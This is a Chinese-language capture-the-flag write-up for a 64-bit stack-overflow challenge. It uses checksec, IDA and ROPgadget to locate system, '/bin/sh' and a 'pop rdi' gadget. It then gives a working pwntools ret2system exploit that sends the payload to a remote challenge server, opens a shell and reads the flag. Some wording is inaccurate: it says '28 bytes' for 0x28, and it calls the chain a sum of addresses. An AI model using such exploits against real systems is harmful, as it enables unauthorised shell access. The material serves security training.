从题目中下载得到pwn文件
使用checksec工具对它进行检查,没有栈溢出保护
再根据题目提示可以知道这道题应该是利用栈溢出漏洞来做
把该文件放到linux中运行,可以看到有一个输入、输出的操作
把pwn丢进IDA里进行反编译分析
先看main函数,分析这里的buf数组长度以及read读取的总长度
这里双击buf,对它的内存空间进行分析
总共需要填充28个字节,后面溢出可以填充为成0x20+0x8,或者直接写成0x28
对其他函数的分析
先看到_system函数,此函数可以直接返回一个由实参当作命令的消息
再查看下方的地址信息,获取到该函数十六进制地址为:0x401050
按住Shift+F12查看字符串
存在/bin/sh意味着我们可以利用这个字符串启动shell,双击查看地址
十六进制地址:0x402004
利用ROPgadget工具查找rdi寄存器地址
ROPgadget --binary pwn --only 'pop|ret' | grep 'rdi'
十六进制地址:0x40126b
64bit ELF文件构造ROP链:rdi寄存器→/bin/sh→system函数
rdi_adr = 0x40126b
sh_adr = 0x402004
sym_adr = 0x401050
总链:total = 0x40126b + 0x402004 + 0x401050
我们需要构造payload使buf数组溢出,然后接上这里的total总的合成地址即可实现shell交互
EXP编写
from pwn import *
rdi_adr = 0x40126b
sh_adr = 0x402004
sym_adr = 0x401050
payload = b'a'*(0x28) + p64(rdi_adr) + p64(sh_adr) + p64(sym_adr)
shell = remote('114.67.175.224','11248')
shell.sendline(payload)
shell.interactive()
直接运行,输入ls查看当前目录,可以看到payload生效了
查看一下flag文件